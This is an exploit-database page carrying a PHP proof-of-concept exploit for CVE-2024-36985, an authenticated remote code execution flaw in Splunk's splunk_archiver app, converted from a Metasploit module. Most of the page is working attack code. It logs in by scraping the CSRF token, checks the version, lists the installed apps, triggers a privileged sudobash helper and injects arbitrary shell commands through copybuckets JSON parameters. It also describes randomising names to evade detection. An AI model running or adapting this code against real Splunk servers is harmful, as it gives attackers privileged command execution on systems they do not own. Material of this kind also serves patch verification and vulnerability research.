Share
## https://sploitus.com/exploit?id=PACKETSTORM:216776
=============================================================================================================================================
    | # Title     : Splunk Enterprise 9.1.5 9.2.2 via splunk_archiver Authenticated Remote Code Execution                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.splunk.com/                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/214134/ & CVE-2024-36985
    
    [+] Summary    : This PHP script is a proof-of-concept exploit for CVE-2024-36985, an authenticated Remote Code Execution (RCE) vulnerability affecting Splunk instances where the splunk_archiver app is installed and enabled.
                     It is a conversion of a Metasploit module into PHP.
    
    [+] High-level behavior:
    
    Authenticates to a Splunk web interface using valid credentials.
    
    Determines the running Splunk version and checks whether it falls within known vulnerable ranges.
    
    Enumerates installed Splunk apps and verifies that splunk_archiver is present and enabled.
    
    [+] Uses Splunk search commands (archivebuckets and copybuckets) to:
    
    Trigger the creation of a privileged helper binary (sudobash).
    
    Abuse JSON-based parameters to inject environment variables and execute arbitrary system commands.
    
    [+] Supports:
    
    Arbitrary command execution
    
    Multiple reverse shell payload attempts
    
    Randomization is used in environment variable names and providers to evade simple detection.
    
    [+] Key components:
    
    splunkLogin() โ€“ Handles CSRF token extraction and authenticated login.
    
    checkVersion() โ€“ Identifies the Splunk version via API or UI parsing.
    
    getApps() โ€“ Enumerates installed and enabled Splunk applications.
    
    check() โ€“ Verifies vulnerability conditions (version + app presence).
    
    exploit() โ€“ Coordinates the full exploitation flow.
    
    executeCommand() โ€“ Executes a single system command.
    
    getReverseShell() โ€“ Attempts several reverse shell payloads.
    
    [+] Impact:
    
    An authenticated attacker can achieve remote code execution with elevated privileges on vulnerable Splunk servers.
    
    
    [+] POC: php poc.php
    
    <?php
    /**
     * CVE-2024-36985 - Splunk Authenticated RCE
     * By indoushka
     */
    
    class SplunkRCEExploit {
    
        private $target;
        private $username;
        private $password;
        private $splunkHome;
        private $createSudobash;
        private $delay;
        private $cookie;
        private $targetApp;
    
        public function __construct($config = []) {
            $this->target = rtrim($config['target'] ?? 'http://localhost:8000', '/');
            $this->username = $config['username'] ?? 'admin';
            $this->password = $config['password'] ?? '';
            $this->splunkHome = rtrim($config['splunk_home'] ?? '/opt/splunk/', '/');
            $this->createSudobash = $config['create_sudobash'] ?? true;
            $this->delay = (int)($config['delay'] ?? 3);
            $this->cookie = null;
        }
    
    
        private function httpRequest($url, $method = 'GET', $data = null, $headers = []) {
    
            $ch = curl_init();
    
            $opts = [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER => true,                
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_FOLLOWLOCATION => false,
                CURLOPT_TIMEOUT => 30,
            ];
    
            if ($method === 'POST') {
                $opts[CURLOPT_POST] = true;
                if ($data !== null) {
                    $opts[CURLOPT_POSTFIELDS] = $data;
                }
            }
    
            if (!empty($headers)) {
                $opts[CURLOPT_HTTPHEADER] = $headers;
            }
    
            if ($this->cookie) {
                $opts[CURLOPT_COOKIE] = $this->cookie;
            }
    
            curl_setopt_array($ch, $opts);
    
            $response = curl_exec($ch);
            if ($response === false) {
                throw new Exception('CURL error: ' . curl_error($ch));
            }
    
            $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $httpCode   = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
            $rawHeaders = substr($response, 0, $headerSize);
            $body       = substr($response, $headerSize);
    
            curl_close($ch);
    
            return [
                'code'    => $httpCode,
                'headers' => $rawHeaders,
                'body'    => $body
            ];
        }
    
        public function splunkLogin() {
    
            $loginUrl = $this->target . '/en-US/account/login';
    
            $res = $this->httpRequest($loginUrl);
    
            preg_match('/name="csrf_token"\s+value="([^"]+)"/i', $res['body'], $m);
            $csrf = $m[1] ?? null;
            if (!$csrf) {
                return null;
            }
    
            $post = http_build_query([
                'username'   => $this->username,
                'password'   => $this->password,
                'csrf_token' => $csrf,
                'return_to'  => '/en-US/'
            ]);
    
            $headers = [
                'Content-Type: application/x-www-form-urlencoded',
                'Referer: ' . $loginUrl
            ];
    
            $res = $this->httpRequest($loginUrl, 'POST', $post, $headers);
    
            preg_match_all('/^Set-Cookie:\s*([^;\r\n]+)/mi', $res['headers'], $m);
            if (!empty($m[1])) {
                $this->cookie = implode('; ', $m[1]);
                return $this->cookie;
            }
    
            return null;
        }
    
     
        public function checkVersion() {
    
            $url = $this->target . '/en-US/splunkd/__raw/services/server/info';
            $res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']);
    
            if ($res['code'] === 200) {
                $j = json_decode($res['body'], true);
                return $j['entry'][0]['content']['version'] ?? null;
            }
    
            $res = $this->httpRequest($this->target . '/en-US/app/launcher/home');
            preg_match('/Splunk&reg;\s+(\d+\.\d+\.\d+)/', $res['body'], $m);
            return $m[1] ?? null;
        }
    
    
        public function getApps() {
    
            $url = $this->target . '/en-US/splunkd/__raw/services/apps/local';
            $res = $this->httpRequest($url, 'GET', null, ['Accept: application/json']);
    
            $apps = [];
            if ($res['code'] === 200) {
                $j = json_decode($res['body'], true);
                foreach ($j['entry'] ?? [] as $e) {
                    $apps[$e['name']] = [
                        'enabled' => !$e['content']['disabled']
                    ];
                }
            }
            return $apps;
        }
    
        private function normalizePath($p) {
            return preg_replace('#/+#', '/', $p);
        }
    
        private function randomString($min = 8, $max = 16, $upper = false) {
            $len = rand($min, $max);
            $chars = $upper ? 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' : 'abcdefghijklmnopqrstuvwxyz0123456789';
            $s = '';
            for ($i = 0; $i < $len; $i++) {
                $s .= $chars[rand(0, strlen($chars) - 1)];
            }
            return $s;
        }
    
        private function getJsonPayload($payload) {
    
            $env = $this->randomString(8, 16, true);
            $prov = $this->randomString();
    
            $data = [
                'vixes' => (object)[],
                'providers' => [
                    $prov => [
                        'command.arg.1' => $this->normalizePath(
                            $this->splunkHome . '/etc/apps/splunk_archiver/java-bin/jars/sudobash'
                        ),
                        'command.arg.2' => "-c \${$env}",
                        "env.$env" => $payload
                    ]
                ]
            ];
    
            return json_encode(json_encode($data));
        }
    
        private function executeSearch($app, $query) {
    
            $url = $this->target . '/en-US/app/' . urlencode($app) . '/search';
    
            $post = http_build_query([
                'search' => $query,
                'earliest_time' => '-1h',
                'latest_time' => 'now'
            ]);
    
            return $this->httpRequest(
                $url,
                'POST',
                $post,
                [
                    'Content-Type: application/x-www-form-urlencoded',
                    'Referer: ' . $url
                ]
            );
        }
    
        private function getRandomApp() {
    
            $apps = $this->getApps();
            $list = [];
    
            foreach ($apps as $n => $i) {
                if ($i['enabled']) {
                    $list[] = $n;
                }
            }
    
            if (!$list) {
                throw new Exception('No enabled apps');
            }
    
            return $list[array_rand($list)];
        }
    
        public function createSudobash() {
            echo "[*] Triggering sudobash creation...\n";
            $this->executeSearch($this->targetApp, '| archivebuckets forcerun=1');
            echo "[+] Trigger sent (async)\n";
        }
    
        public function triggerExploit($payload) {
    
            $json = $this->getJsonPayload($payload);
            $query = "| copybuckets json={$json}";
            $res = $this->executeSearch($this->targetApp, $query);
    
            return ($res['code'] === 200);
        }
    
        public function check() {
    
            if (!$this->splunkLogin()) {
                return false;
            }
    
            $v = $this->checkVersion();
            if (!$v) return false;
    
            [$M,$m,$p] = array_map('intval', explode('.', $v));
    
            if ($M !== 9) return false;
            if ($m === 0 && $p < 10) return true;
            if ($m === 1 && $p >= 2 && $p <= 5) return true;
            if ($m === 2 && $p <= 2) return true;
    
            return false;
        }
    
        public function exploit($payload) {
    
            if (!$this->check()) return false;
    
            $this->targetApp = $this->getRandomApp();
    
            if ($this->createSudobash) {
                $this->createSudobash();
            }
    
            return $this->triggerExploit($payload);
        }
    
        public function executeCommand($cmd) {
    
            $b64 = base64_encode($cmd);
            return $this->exploit("echo $b64 | base64 -d | sh");
        }
    }
    
    
    if (php_sapi_name() === 'cli') {
    
        $exp = new SplunkRCEExploit([
            'target' => 'http://192.168.1.100:8000',
            'username' => 'admin',
            'password' => 'password123'
        ]);
    
        // $exp->executeCommand('id');
    }
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================